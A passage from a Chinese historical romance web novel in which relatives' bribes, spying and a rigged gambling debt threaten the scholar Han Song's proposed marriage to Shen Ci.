“我对沈姑娘并无不满,只是你舅母说的话也极有道理。”韩夫人开口劝道,“你舅母走后,我也想了许多,她从前身份尊贵,照她从前的身份,金陵城根本就没有几个人配得上她,是因为沈家遭逢巨变,她才会和你议亲。” 议亲当然要讲究门当户对。 沈瓷如今和韩嵩自是门当户对,但过去如何能那么轻易就抹去的? “她昔日养尊处优的长大,如今寄人篱下,也不知心中到底有多少积怨…”韩夫人的担忧是人之常情,毕竟人人都知晓昔年的平江节度使是怎样的存在。 沈瓷是他唯一的女儿自然尊贵。 家世巨变,生活巨变,从高处跌落又有多少人能够保持平常心? “可是她不像…”韩嵩的话还没说完,就被韩夫人给打断。 “孩子,你有没有想过也许沈姑娘并不甘心和你议亲,只是没有办法?” “母亲,这是何意?”韩嵩愣愣的看向母亲。 韩夫人咬了咬牙,告诉韩嵩因为他是最合适的人选,因为沈瓷没得选,才会选择他们。 她到了最坏的打算,但是韩嵩现在根本什么都听不进去,无论母亲说什么,他都可以找到借口来反驳。 韩夫人见劝不动他,也没有再多说什么。 “你若是心意已决,母亲自然是尊重你的意见。”韩夫人未必愿意妥协,可她如今左右不了韩嵩的决定。 若是强硬反对,母子俩只能闹得两败俱伤。 在韩嵩的坚持下,韩夫人到底答应下来,给裴氏送去了回音,择期去府上提亲,至于孟府那边,韩夫人也同嫂嫂说明缘由,让嫂嫂代为传达。 刘氏收了孟府的好处,自然不会轻易的放弃,她强势的等在韩家,要听韩嵩亲口说,同时也存了想要再劝一劝韩嵩的心思。 刘氏原本信心满满,谁知这会儿说破了嘴皮子,他都不为所动,气的刘氏咬牙切齿。 “还请舅母代为转达。” 刘氏恼怒至极,骂骂咧咧的回到家中,这时孟府的嬷嬷又来了一回,问刘氏究竟能不能将此事办好。 “哎呦,钱嬷嬷还请放心,我一定能将此事办好,只不过还希望贵府能配合一二。”刘氏舍不得银子,只希望能将此事促成,韩家那母子俩油盐不进,她那个弟妹耳根子软的不得了,死了丈夫之后便一心只向着儿子,偏还作不得儿子的主。 刘氏想了想,若要成事,还是要靠自己。 她计上心来对着钱嬷嬷耳语一番,钱嬷嬷听罢有些犹豫,刘氏立刻上前,“钱嬷嬷,这是最好的法子了,你也知道我那外甥是个读书人,脾气有些倔强。” 钱嬷嬷这才答应回府转达消息,同时又告诫了她一句,“好好办事,事成之后少不了你的好处。” 刘氏喜的眉开眼笑,等人走了之后才稍稍的松了一口气。 那钱嬷嬷回到孟府之后,就将刘氏出的主意说了出来,届时刘氏会将韩嵩骗出来同她们姑娘会面,所以这事儿需要她们配合。 孙姨娘虽有些不满,但也知晓此事没有更好的主意。 钱嬷嬷见主子心情不好,便说了些好听话,“主子别生气,那韩家哥儿想来是没见着我们家姑娘才会如此,若是见着了我们姑娘,指不定怎么后悔。” “你说的是。”孙姨娘冷笑一声,“没道理不选我闺女要选个寄人篱下落魄孤女。” “但凡韩嵩是个有脑子的,他就知道该怎么选。” 孟府发生的事情,事无巨细的全部被长鸣禀告给了裴珩知晓,“这刘氏是?” “那是韩公子的舅母,自从韩公子的父亲去世之后,他们孤儿寡母甚是艰难,韩公子的舅舅对他们母子俩帮助颇多。”长鸣立刻开口解释。 裴珩大抵明白刘氏为何能这般信誓旦旦,有这一层恩义在,刘氏若存心欺骗,韩嵩当真还没有办法拒绝。 “季小将军已经听到这些传言,世子,是否需要属下再做些什么?” “暂时不用。”裴珩语气冷静,季衍虽然听到这些传言,但他并非一个冲动的人,肯定会去探查虚实,待确定之后才会告知映梦。 原本他还要想法子将这件事情坐实,谁知瞌睡来了送枕头。 刘氏当真帮了他一个大忙。 “以孟府的名义再给刘氏一些银子,让她务必要好好的促成韩嵩和孟四的婚事。”裴珩冷淡吩咐。 既然见钱眼开,想来为了银子也会全力以赴。 第40章 第40章(改)阿瓷,季衍告诉我韩…… 裴珩自然不会将所有的希望全部都放在刘氏一个人的身上,说到底刘氏只是韩嵩的舅母,即便舅舅对他们母子有大恩,也到底不是他的母亲。 韩夫人能够逼迫韩嵩,刘氏却不能。 韩夫人一心为了儿子着想,但凡是有任何不利于韩嵩的,都会让她分外的在意,他倒也不是没有法子,只是能让韩夫人在意的一些事,多多少少会影响到沈瓷。 裴珩并不愿沈瓷受到什么影响,即便是女眷之间的几句流言蜚语也不愿。 故而要让韩嵩主动放弃结亲,还是要从他本人下手,“着人盯紧他。” 人无完人,总有弱点,也总有在意的人和事。 : 只要有弱点就好办。 * 翌日清早,韩嵩如同往常一般的去书院上课,只是课上到一半的时候,舅母府中下人急匆匆的赶了过来,说是家中出了急事。 韩嵩一颗心沉了下去他匆匆同夫子告假,就往外走。 韩嵩素来勤勉,夫子也没有多问缘由便准了假。 出了课堂之后下人才开口,说是府上老爷得了急症,情况颇有些严重,“韩公子,我们夫人这会子六神无主的在家中哭,夫人让小的过来请公子过去拿个主意。” “可有请大夫?”韩嵩即刻问道。 家丁连连点头,“大夫已经去请,但我们夫人还是让我们来请公子。” 韩嵩虽疑惑舅母的做法,但此时也不便深究,跟着家丁急匆匆的赶过去。 他心急如焚,可到了舅舅家中却并未见到人,反而是舅母在门外张望,瞧见他过来之后立刻迎了上来,“嵩哥儿。” 韩嵩定了定神,冷静问道,“舅母,舅舅人在何处?” “你舅舅这会儿出门上工去了。”刘氏笑着解释。 “上工去了?”韩嵩皱起眉头看向舅母,“您方才是让下人过来说舅舅得了急症?” “那是之前,这会儿已经好了。”刘氏含含糊糊的。 偏偏韩嵩半点不受糊弄,看着刘氏一字一句的复述着家丁的话,“咳的声嘶力竭,都咳出了血。” 刘氏本想将这件事给糊弄过去,可韩嵩此时面无表情的看着她,倒是让她脸上有些挂不住,只能硬着头皮解释,“你舅舅他先前吃了一颗枣,卡在了嗓子眼一直咳不出,枣核坚硬差点儿划破了嗓子…” “对不住啊嵩哥儿,舅母没什么见识,倒是让你费心了。” 刘氏找了个蹩脚的借口,说话也是颠三倒四,也不知韩嵩信没信,韩嵩不欲和长辈起冲突,便冲着她点了点头,“既然舅舅没事,那我就先行一步。” 韩嵩转身要走。 刘氏好不容易将人给骗了过来,如何能让人走?为了今日她可是做足了准备,见到韩嵩要走立刻将人给喊住,“嵩哥儿,那孟家四姑娘今日来家中做客,人好歹来了,你就见一见。” “舅母,此事我应当已经…”韩嵩皱起眉头刚要拒绝,就被刘氏给打断。 “这好歹也是舅母牵的线,你就权当给舅母一个面子见一见,有什么话你们当面说清楚,也省的舅母里外不是人。” 刘氏已经将话说到了这份上,韩嵩自然没法拒绝,便同意去见一见。 他一进刘家就知晓自己今日是被舅母给骗了,只是韩嵩没拆穿他,这会儿见舅母提及孟靖淑,才知舅母意图,韩嵩便遂她的意,见了孟靖淑一面。 孟靖淑见着日思夜想的人很是激动,按耐不住的要同他说话,什么矜持全部都抛诸脑后,“韩公子,你来啦?” “孟姑娘。” 二人都知晓今日见面所为何事,孟靖淑说有要事要问他,韩嵩自然也明白她想要问什么。 面前的姑娘固执的等着一个答复,韩嵩并不想将事情闹得太过难堪,只是委婉的表示是他的缘故,“孟姑娘很好,是在下不才,配不上孟姑娘。”韩嵩说完这话,便匆匆撂下一句抱歉,说他今日还有事就先行一步。 “韩嵩,你这是什么意思?”孟靖淑瞪大眼睛,她只以为是韩嵩故意找的借口。 韩嵩无奈只能解释一句,说他还要回书院上课。 他说的虽真诚,可孟靖淑依旧觉得他是敷衍,待韩嵩走后,孟靖淑气急败坏的瞪着刘氏,“我 都没有嫌弃他,他竟然还不愿意?” 刘氏方才和孙姨娘就躲在里间,将外头的一切都听得清清楚楚,她早已知晓韩嵩心思,只是这话却不能说,这会子点头哈腰的陪着笑脸。 “孟姑娘这说的哪里话,我们嵩哥儿并不是这个意思。” “什么不是这个意思?他不是已经将话说的那么明白了?”孟靖淑也不是傻子,韩嵩方才明摆着就是拒绝的意思。 孙姨娘见不得女儿委屈,连忙出声安慰:“韩公子还年轻,年轻气盛,冲动之下说错话总是有的,你这么好,他迟早后悔。” “孟夫人说的没错,孟姑娘啊,他一个读书人,面皮薄,我瞧着他也是喜欢姑娘的。” “是吗?”孟靖淑却有些不信,“他若真喜欢我,怎么会突然走了?” “那是因为嵩哥儿还在书院念书,今日因为要同姑娘见面,才匆匆赶来的,此番见了面自然是要回去上课。”刘氏颠倒黑白,什么话都往外头扯,在她看来那寄居忠毅伯府的孤女,当然比不得孟四姑娘。 这事儿准能成。 刘氏便向面前的母女俩夸下海口,一定会促成这件事。 韩嵩并未将这件事情放在心上,他并不知舅母在他离开之后胡说八道了许多话,他当真以为只是一次普通的会面,见了一面之后这些事就能够圆圆满满的解决。 刘氏向孟家母女夸下海口后,自然不会什么都不做,她先是决定去说服弟妹,但韩夫人却面露为难之色,“嫂嫂,这件事之后还请莫要开口,嵩儿对孟姑娘无意,勉强二人是不会幸福的。” “弟妹,你如今都几岁了,还说这么天真的话?说什么幸福不幸福的?难不成你不为了嵩儿以后考虑?我知道嵩儿是个有骨气的,他不想依靠岳家,可你难道就忍心看着他错失这个机会?”刘氏说的口都干了,面前的女人还是油盐不进。 惹得刘氏分外气恼,“我同你说的话,你是一句都没有听进去吗?” “并非我不听嫂嫂的话,只是嵩儿已经大了许多事情他能自己做主。”韩夫人不过是没法做主罢了。 实则因为刘氏每日的劝说,韩夫人的心早就开始松动起来,刘氏见状就愈发的卖力。 孟家许是看在她辛苦的份上,特意又让人给她送了一笔银子,这一次足足有一百两,刘氏也因此阔绰了许多。 她原本还有些顾虑,觉得孟靖淑一个庶女,在家中受宠估摸着也有限,谁知她竟然这般的受宠,那可是足足一百两银子。 刘氏心思愈发活泛,她小动作不断,为了稳住孟靖淑,让孟靖淑深信韩嵩是喜欢他的,拿了些银子给以韩嵩的名义买了些首饰和胭脂水粉送过去。 她原本目的很单纯,结果自个儿的所作所为全部都落入长鸣眼中,之后又被正在盯着韩嵩的季衍知晓。 季衍皱起眉头,觉得这件事情不能再拖下去。 于是季小将军将自己查到的这些消息尽数告诉了未婚妻,楚映梦一听脸色立时变得难看起来,“你说什么?那韩嵩竟如此?” “对,我那日出门恰巧听见了有人议论韩家和孟家定亲的消息,我记着你说过,韩家是要和表妹议亲的。”季衍回忆起之前的那些事,原本这些事他不会放在心上,可谁让他恰好知道韩嵩在和未婚妻的表妹议亲,季衍知晓楚映梦有多在意她这个表妹,这才会去关注。 “我盯了他好几日,发现确有其事,而且韩嵩竟还给那孟姑娘送胭脂水粉和首饰。” “但是哥哥他们并未说起韩嵩近日有迟到早退的情况,他一直都在书院里。” “你不知道,这人可狡猾,东西都不是自己去买的,是让自己的舅母帮忙买的,他隐藏的极好,若非是我一直盯着,只怕还发现不了。”季衍心中认定韩嵩道貌岸然,明明已经在和沈瓷议亲,为何还要同那孟姑娘不清不楚的。 “有这回事?” “自然。”季衍可不会随随便便乱说,无凭无据的若是贸然开口,楚映梦会如何想他? “这件事我得告诉哥哥他们。”楚映梦这会儿没了别的心思,为了避免解释不清楚她和季衍一块儿去找了楚修筠和楚景澄。 得知这些事情后,楚家兄弟也很是震惊。 “韩家这胆子也未免太大了些,他把阿瓷当什么了?一边来我们家下聘,一边又和旁人不清不楚的。”楚景澄脾气暴躁,就要去找韩嵩理论。 还没走两步就被楚修筠给拦下,“他既然都能让家里人出面帮忙遮掩,你如今去追问也问不出实话来。” “那怎么办?”楚景澄着急不已,“若他当真如此表里不一,那就根本不是什么良配。” “他竟能够隐藏的那么好。” 几人因为韩嵩的表里不一而各种怒骂,唯有季衍问了最关键的一句话,“这件事,是否需要让沈姑娘知道?” 毕竟她才是要和韩嵩定亲的那个人,她是最有权力知道的人。 吵吵嚷嚷的几人沉默下来,最终商议过后还是决定这件事要告知沈瓷,不能让她一直被蒙在鼓里。 “阿瓷这会儿在祖母的院子里,我去找人,你们在这里等我。”楚映梦说完便匆匆的走了出去,她到的时候沈瓷正在陪楚老夫人说话,见楚映梦过来心中还有不少的好奇,“表姐怎么回来了,你不是说今日要去见季小将军吗?” “季衍他突然有事,我没法子只能回来了。”楚映梦说的就和真的一样,她恭恭敬敬的给祖母请安,随后就和沈瓷一块儿坐着同祖母说话,直至楚老夫人乏了两人才走。 一走出主院,楚映梦就迫不及待的拉着沈瓷说话,“阿瓷,我有事要告诉你,季衍他同我说,韩嵩就是个朝三暮四的小人!” 这话说的有些严重,一般人未必会信,但沈瓷知道表姐不是冲动的人,季小将军更不是,他们会这么说想来是有什么凭据的。 “可是发生什么事了?”沈瓷冷静问道。 楚映梦见她相信自己,长长的舒了一口气,拉着沈瓷去了楚修筠的院子,沈瓷到时才发现季小将军也在。 季衍看了一眼楚映梦,见未婚妻点了头,才将这几日发生的事情尽数告知。 “这其中会不会有什么误会?”沈瓷仔细听完后便说了这么一句话,此语一出所有人都看向了她,楚映梦和楚景澄更是不满。 “阿瓷,你再说什么?” “这怎么可能会有什么误会?” “表姐,二表哥,你们别着急。”沈瓷并非是为了韩嵩开脱,说到底他与她而言,如今不过还是个陌生人,她只是就事论事。 “若韩嵩当真要掩人耳目去买些胭脂水粉和首饰,为何要让舅母出面?这不是更让人怀疑吗?若不想让别人知道,他只需要让他母亲出面即可。”沈瓷冷静分析道,“韩家也不是没有亲戚的,就是被发现韩夫人也可以解释是给亲戚家的女眷。” 无论如何都比让舅母出面来的合适。 “你说的也有道理。” “那这…” “这其中也许有什么误会,也许没有,但这件事是真真切切发生的,总要弄清楚的。”沈瓷不愿冤枉了什么人,同样也不愿心中有所膈应。 韩家送来的纳采礼都还在堂屋隔着,舅母还没来得及去清点。 “那这件事?”楚映梦将目光转向季衍,季衍瞬间反应过来将这个烫手山芋接过。 “就交给我去办,我一定会将这件事情查的清清楚楚。” “既如此就多谢季小将军。”沈瓷轻声道谢。 季衍随意的摆了摆手,“这些都是小事,不要放在心上。” 他可是未来的表姐夫,总要做些事才行。 此事暂时告了一段落,虽还有不少疑点,可平白无故出了这样的事,几人心中多少是有些不太舒坦的。 这消息辗转通过楚景澄传到了裴珩的耳朵里,他虽有些遗憾沈瓷并未相信,但心中其实并无多少遗憾,反而对沈瓷很是欣赏,她能这般冷静的思考问题,是一件好事。 裴珩本也没指望着可以那么轻易的将这婚事切断。 “沈姑娘说的也确有可能,若当真是那刘氏自作主张,有这样麻烦的亲戚在,只怕后患无穷。”裴珩简单的点了一句。 楚景澄将这些话放在了心上,回到家中之后转述给了沈瓷听。 “韩公子和他舅舅关系可好?” “这…表哥没说。”楚景澄认真的回忆了一番,确定裴珩只说了那么一句,沈瓷默默的点了点头,将这些话放在了心里。 而永宁侯府中,裴珩却知道了另一个消息。 他派人给刘氏送银子的时候,被回家的周岩给撞见了,周岩偷了些银子去了赌坊。 韩嵩的表弟周岩有赌博恶习,时常流连赌坊,又因为刘氏溺爱,韩嵩的舅舅尚且不知,周岩惧怕父亲,也只敢赌一些小钱,都是小打小闹。 周岩做得很小心,家中除了刘氏都没人知晓他有这样的恶习。 若非裴珩要求盯着刘氏,长鸣也不会发现。 “贪婪的舅母,嗜赌的表弟,还有耳根子软的母亲。”裴珩轻嗤一声,半点不觉得这是什么好人家,有这样麻烦的亲戚在,只怕到时候后患无穷。 但这些偏偏不是他说了算。 若沈瓷是裴姝,他大可以直接拒了这门亲事,如今隔了好几重,他便是想要告知真相,还得绕好几道弯,不然他都无法解释为何自己要这般上心。 何况沈姑娘也不是什么很好糊弄的人。 “将周岩的事情透露给协律郎知晓,若协律郎不知道怎么办,就教他怎么办。”裴珩冷声吩咐,常言道十赌九输,这些日子周岩因为刘氏忽然有了银子,早已经飘飘然,迟早都会出事。 而协律郎也并没有辜负裴珩,知晓周岩好赌,为了自己的女儿,便贿赂了赌坊的老板做局,设计让周岩欠下赌债。 周岩本以为自己时来运转,幻想着就要拥有无数的金银,谁知一朝落败,输的什么都不剩,甚至欠下许多银子。 周岩这个时候才开始慌了,匆匆的回家找刘氏。 刘氏知晓周岩欠了三千两白银直接昏了过去,醒来之后眼也直了,“你,你,你竟然做出这样的事,你平时小赌小闹也就罢了,你怎么敢,你怎么敢的?” 周岩跪在地上瑟瑟发抖,他也想不起自己为什么会越赌越大,赢钱那一刻的感受实在是太过美妙,让他忍不住的沉溺其中。 可他赢不了了,一直赢不了,然后他想要翻本,就告诉自己就赌最后一回,谁知道… “娘,你救救我,娘你救救我,我不想死,我不想死。”周岩跪在地上求刘氏救救自己。 这是刘氏唯一的儿子,她自然不会放弃,可三千两白银,她又能怎么办? “你要我怎么办?我去哪里给你找那么多的影子?” “有办法的,有办法。”周岩抬起头看向刘氏,眼中满是激动神色,“您前些日子不是得了一百两银子,孟大人有钱,孟大人肯定有钱!” “他们不是想要表哥做女婿吗?您让爹去和表哥说,让表哥答应做孟大人的女婿,表哥一定不会见死不救的对不对?”周岩抓着刘氏的衣摆,手上青筋暴露,很是激动。 刘氏看着周岩,冷不丁的问道,“你是如何知晓,我有银子的?” 周岩低着头不敢说话,刘氏像是想到了什么疯了一般的翻箱倒柜,才发现自己匣子里的银子早已经不见,只剩下了几个铜板。 “我打死你,我打死你这个不孝子。”刘氏抄起一旁的鸡毛掸子就开始打。 打的周岩上蹿下跳的。 “你们俩这是在做什么?”周进下了工回家瞧见正屋鸡飞狗跳的,冷不丁的出声问道。 “没,没什么。”刘氏有些慌了神,下意识开始隐瞒。 周岩看了看母亲,又看了看父亲,他知晓这是一次千载难逢的机会,今儿个已经挨了一顿打,再多一顿也不是不行,想到这里周岩噗通一声跪下,“爹,您救一救儿子吧。” “出什么事了?”周进严肃的问道。 周岩心中有些惧怕,但对死亡的恐惧压过了对父亲的恐惧,他咬咬牙便将自己的事情全部说了出来,还不忘拉母亲下水,刘氏眼看事情也瞒不住便一股脑儿都承认了。 直把周进气的破口大骂,“你,你们,你们俩这是,真的是要气死我?” 周进抢过刘氏手中的鸡毛掸子就往周岩身上招呼,周进的手劲儿可比刘氏要大得多,鸡毛掸子三两下就被打断,周进气不过命人去取了藤条过来。 周岩根本就不敢躲开,结结实实的挨了一顿打。 打到后来刘氏心疼不已,扑上来拦住,“你真的要把他给打死吗?这可是你唯一的儿子啊。” 周进看着被打的奄奄一息的人,长叹一声,将手中的藤条扔到一边。 “这到底是怎么一回事?” 周岩趴在地上,哆哆嗦嗦的看着父亲,刘氏跪在他的身边,一点一点的将事情悉数告知,说到后来刘氏就开始哭,求着周进救一救他们的儿子。 “怎么救?那是三千两,不是三十两。” “当家的,有办法,有办法的。”刘氏一股脑儿将法子说了出来,惹得周进瞪大双眼。 “这种话你怎么说得出口?竟要拿嵩哥儿的终身大事开玩笑?” “爹,爹你救救我,我可是你亲儿子啊。”周岩匍匐在地上,抓着周进的衣摆不住的晃动,刘氏也是哭哭啼啼的。 她见周进并没有要为周岩出头的意思,心中发狠起来,“这原本就是他们韩家欠我们周家的,当初韩嵩爹死的时候,可是我们帮忙发的丧,若非我们帮助,他韩嵩能有今日?怕是连书院都上不了。” “你怎么能那么狠心,难道你就要眼睁睁的看着我们儿子被剁手剁脚?” 周进自然也是舍不得,但这些话他当真是说不出口。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第41章 第41章(改)谁也不能强迫沈瓷去做…… 周岩被周进打了一顿,躺在床上养伤,他伤的很重,但心里却轻松不少,也许是因为那些重压全部都被转移到了父母的头上,他就能够心安理得的躲在一旁,只当什么都没发生过。 周进这两日脾气很暴躁,刘氏在家中时大气都不敢出。 她偷偷的去接触过孟家,想要问孙姨娘借银子,孟家也给了回应,说三千两不算小数目,若是亲戚,他们是可以帮的。 刘氏想告诉丈夫,赌坊那边只给了三天时间,却一点机会都没有。 日子风平浪静的过了三天,周岩的胆子也大了一些,今日稍稍好一些之后,就坐到院子里晒太阳。 只是周岩当鹌鹑的日子到底是到头了,他坐在院中时,赌坊催债的找上门来要周岩还钱。 “周岩,滚出来。” 周岩原本还舒舒服服的躺着晒太阳,一听到这些动静,直接从躺椅上翻了下来,克制不住的瑟瑟发抖起来,“娘,娘,他们找上门来了。” “怎么办?娘,我怎么办?” “这…这…”刘氏的心中也是止不住的害怕,却还是强装镇定的安慰周岩,“莫,莫怕,有娘在。” “可是娘…”周岩的话还没说完,周家大门就被人砸了个震天响。 “开门,快点开门,再不开门我们就砸门了!”催债的从来都是凶神恶煞说到做到,刘氏害怕他们真的砸门,只能去把门打开。 门一打开窜进来五六个大汉,将周家院子里堵得严严实实的,周岩早在刘氏开门的一瞬间,就蹲下身埋着头躲到水缸后面。 只是院子并不大,可以说是一 览无余,为首的一个大汉使了个眼神,一个手下会意就将周岩拎小鸡似得拎了出来,提溜到众人面前。 “三天期限已到,快些还钱!” “几位爷,还请你们通融通融,我一定会还钱的,一定会的。” “你拿什么还?”催债的显然没什么耐心,命手下将周岩给绑了,“断手还是断脚,你们自己选。” 刘氏在一旁看的心惊肉跳,她求爷爷告奶奶的让几人通融通融,偏生催债的油盐不进,只认钱,不认人。 “几位爷,几位爷,还请你们通融几天。” “通融?”为首大汉哈哈大笑,“欠债还钱天经地义,还要我们怎么通融?” 几人见刘氏和周岩一味的求饶,也懒得同他们多说废话,便说要先断了周岩一个指头。 大汉一使眼色,手下就将匕首掏了出来。 “啊—”周岩看着匕首,只觉得手指都开始作痛,“不要,不要,不要啊—” “求大爷饶命,求大爷饶命啊—” 刘氏想要扑过去护住儿子,结果被人钳制的严严实实的。 哭天抢地的声音响彻在周家的院子里—— “住手。” 一个突然的声音闯了进来,院中所有人都愣了愣神,为首大汉使了个眼色,手下随意的将人给踢开。 刘氏连滚带爬的爬到周岩身边,将吓傻了的人抱在怀里。 来人不是旁人,正是来周家送东西的韩嵩,他看着一片狼藉的院子,一时间反应不及,“舅母,表弟?发生了什么事?这些人到底是谁?” “舅母?表弟?”彪形大汉轻嗤一声,知晓了韩嵩的身份,“你问我们是谁?” “我们是来催债的,你这表弟欠了我们三千两白银。” “什么?”韩嵩听见这话被吓了一大跳,三千两白银可不是什么小数目,周岩这到底做了什么? “不知几位可否告知究竟发生了何事?”韩嵩一副读书人的打扮,说起话来也是彬彬有礼,几个催债的看见他之后,脸色也稍稍的好了些。 “你表弟去我们赌坊赌钱,输了些银两。”为首大汉稍稍解释了几句,“约定好三天还钱,现在已经是第三天,我们来收钱。” 韩嵩这才知晓周岩竟然赌博,也知道了他是去借了印子钱,还是赌坊里借的印子钱。 这利滚利的,就变成了三千两,还是三天前的债。 “可有字据?”韩嵩冷静开口。 为首大汉也不废话,直接从怀里掏出周岩签字画押的借条,上头清清楚楚写着借款和周岩的名字。 韩嵩清楚的看见,起初借的并不多。 “既是印子钱,多是按月计,应当还不到还钱的日子,即便是日息,也应当不至于是三千两。”韩嵩对这些只有些许的了解,他只能凭借着些许的记忆来应付面前的几人,给舅母和表弟争取些许时间。 “呵。” “我们的规矩,就是规矩,今日若是拿不出三千两,周岩的手脚,我们就要了!” “你如何能够证明这上头的名字便是我表弟签下的?”韩嵩发现眼前的几人油盐不进,即便那字据上就是周岩的字,他这会儿也只能胡搅蛮缠。 大汉拿出字据让韩嵩仔细看看,可韩嵩根本不认,坚持说要报官。 “嘿。”那大汉被气的骂骂咧咧,盯着韩嵩冷笑不已,“小子,我奉劝你可别多管闲事。” “你若是再敢啰嗦,我们连你一起打!” 韩嵩虽然看着面前的几人,不卑不亢道:“小生不才,恰好是个秀才。” 大齐礼贤读书人,秀才可见官不跪,他们几个人可不敢胡乱造次。 几个汉子均看向为首的大哥,男人呸了一口,“那我就在给你们七天的时间,若是七天之后还没有办法还银子,我们走着瞧。” 几个人一走,周家的院子就彻底的空了下来。 周岩这时候才反应过来,跟母亲抱头痛哭,韩嵩在人走了之后立刻就将大门关上,隔绝掉一切探究视线。 等到周岩冷静下来才开口问他,“到底怎么回事?” 周岩这会儿依旧在哆嗦,尚未从打击中反应过来,听见韩嵩的声音眼睛里才有了些许光亮,只是一开口还是求救,“表哥,表哥你救救我。” “表哥,你一定要救我,不然,不然我就活不成了。”周岩看着韩嵩,就像是看着救命稻草一般。 韩嵩皱起眉头,将周岩从地上扶起来,“你先和我说清楚,这到底是怎么一回事。” “好,好,我和你说,我和你说。” 若周岩原本还想着抵赖隐瞒,可经此一役根本不敢瞒着,只能眼巴巴的将所有事情都说出来。 听完之后,韩嵩的建议是报官,但周岩根本就不敢,“表哥,表哥不能报官啊,要是他们知道我报官,一定会报复我的,何况这些事情也不是报官就可以了结的。” “表哥,我会死的,我会死的。” “你听我说,这印子钱的利显然不对,即便是利滚利也不用三千两之多。” 可无论韩嵩怎么说,周岩根本不敢去报官,一个劲的让韩嵩救他。 这时候得到消息的周进也已经到家,见到外甥的时候长长的叹了一口气。 知晓方才的事情之后,周进心中满是感激,“今日这件事多亏了你。” “舅舅说的哪里话。”韩嵩并不居功,将这件事揭过之后便问起舅舅是什么打算。 “三千两白银不是小数目,何况这日日都有利钱,只怕到时候…”韩嵩有些话没说的太明白,但周进也听明白了。 印子钱,一还三;利滚利,年年翻;一年借,十年还。 人人都会背的顺口溜,可偏偏有人不信邪。 “这些舅舅都清楚,我便想着要将家中的银钱整合一番,先还上。”周进被这三千两白银压得喘不上气来。 但是他们家中哪里有那么多的银子? 他在金陵城的大酒楼当账房先生,倒是很体面的活计,工钱也算不少,家中还过得去,谁知竟… “我回去和母亲商议一番,看看能不能凑些银子。”韩嵩话虽如此,但家里的情况他其实也清楚,根本就没有多少银子。 更何况这钱实在是太多了些。 “舅舅,我还是觉得这赌债太过蹊跷,总要弄明白,或者我们可以和赌坊的老板见一见,同他好好的商议一番…若不然这银子怕是还不清。”韩嵩这会儿已经算明白印子钱的规则,知晓这是个无底洞。 于是想了两个法子,要么同赌坊老板好好的谈一次。 若是谈不明白,就去找人借,一次将这赌债还清,要不然后患无穷。 “你说的是…可谁会借给我们那么大一笔银子?”周进满脸的愁容,这样的事情并不光彩,他甚至都不敢告诉自己的东家,生怕东家觉得他作风不好,将他给辞退。 他们都是本本分分的人。 结果周岩竟会染上赌瘾,他也是追问之下才知道,早些年就有,只是他不知道。 “有的,有人会借给我们的,只要…”刘氏见缝插针的就要说话,可还不等韩嵩细问,就被周进呵斥。 “你闭嘴!” 刘氏不敢多言,只能唯唯诺诺的闭嘴。 周岩看了看亲爹,又看了看表哥,生怕亲爹向着表哥就不管自己,跪在地上哀求着,“爹,娘,表哥,我真的知道错了,你们救一救我,别不管我。” 周进看了一看跪在地上的儿子,又看了一眼身姿挺拔的外甥,心中愈发的不是滋味。 此时也没了说话的心思,问清楚韩嵩的来意,随意说了几句将人给打发了。 等到人走了之 后,刘氏才敢开口说话,“当家的,你方才为什么不让我说出来?” “说什么?”周进狠狠的瞪了妻子一眼,“你难道还嫌不够丢人吗?” “可是…”刘氏的气势顿时矮了一截,明显是想要说什么的,只是周进此时此刻正在气头上,压根听不进去,她也只能沉默不语。 但一些心思暗暗的搁在刘氏心中,经久不散,她见周进不肯出面,便自己去找了韩嵩母子。 来到韩嵩家中就对着韩夫人跪下,也不顾韩嵩就在边上,求弟妹救一救她的儿子。 韩夫人被她吓了一跳,“嫂子,你快些起来说话。” “弟妹若是不答应,我今日就不起了!”刘氏为达目的不择手段,她看向面前的人,将所有的希望都压在了她的身上… * 这些事情不仅仅是协律郎孟坤知道的清清楚楚,实则裴珩也清楚。 长鸣知晓周家发生的事情也是唏嘘不已,“世子,那周岩看着老实本分,怎么就…” “看着老实本分?不过是因为没有放纵的资本。”裴珩随意开口,周岩未必愿意老实本分,只是没有法子罢了,刘氏手上一有了银子,周岩的心思就变得活泛起来,偷了家中的银子去赌。 他敢这般的肆无忌惮,无非就是看中刘氏不会拿他怎么样,不会不管他而已。 若周岩当真能够克制的住自己,输完银子之后,他也就应该回家去。偏生毫无自知之明,对自己毫无认知。 而一个真的能克制自己的人,连第一步都不会有。 “周家的事情闹得很大,季小将军也会知道。”长鸣适时开口,最近季小将军一直在调查韩嵩,这些事迟早都会落入沈姑娘的耳朵里。 裴珩没有说话,只是冷静的处理着自己眼前的公文,韩嵩本人也许没有什么问题,可他的家中实在是有太多太多的问题。 只是他并不能强迫沈瓷做什么决定。 这些问题全部都暴露出来之后,沈姑娘总能想明白,这并非良人。 若是想不明白,只要多些时间,总能够想通。 但这件事迫在眉睫,裴珩根本没有那么多的耐心,韩家的纳采礼已经送往忠毅伯府,只是流程尚未开始。 当然得早些解决麻烦。 不出裴珩预料,这些事因为季衍的关系,落得人尽皆知,季小将军最近也是很头疼,他尚未弄明白韩嵩到底是不是个朝三暮四的。 又无意间撞见周家的事情。 虽说这同韩嵩没什么直接关系,但毕竟也是一件大事。 是以,几人又聚在了一块儿。 “我又去赌坊打听了一番,都说这周岩平时就喜欢赌,但赌的也很小,玩玩而已,谁知道这回就出了大事。” “常在河边走,哪有不湿鞋。” 没有人会怀疑是不是有人背后捣鬼,只要有心打听就会知道周岩平时都会去赌坊,这一回虽然赌的大了些,但赌徒都是没有道理可言的。 什么事情都能够做的出来。 “韩嵩说要去和她母亲商议,看能不能替周岩还赌债。”季衍说起这些的时候,心中只觉得分外疑惑,虽说是亲戚,但三千两白银对韩嵩而言应当不是小数目。 他们母子也没有那么多的积蓄。 便是家中有些积蓄,他不是要娶亲了吗?难不成就不顾以后了? 怎么就能应承下来的? 有这样的赌徒亲戚不应该直接断绝往来吗? 季衍心中有所疑惑,在场几人也都是一样的,沈瓷明明白白的听完,心中也甚是惊讶。 “季小将军,韩嵩和他舅父家的关系,很好吗?” 好到都可以不计后果的帮忙? “韩嵩的父亲去世之后,他们母子一开始是靠着舅舅接济才度过那段艰难的日子。”季衍这些时日盯着韩嵩,而后又出了周岩的事情。 季衍生怕有什么遗漏,索性就把韩嵩周围的亲戚全部查了个遍,什么陈芝麻烂谷子的事情全部都被翻了出来。 “韩嵩那个舅母,是他们那片有名的泼妇,市侩又精明,很是难缠。” “他们家里怎么那么多事?当初要议亲的时候怎么就没发现?”楚映梦气呼呼的说道。 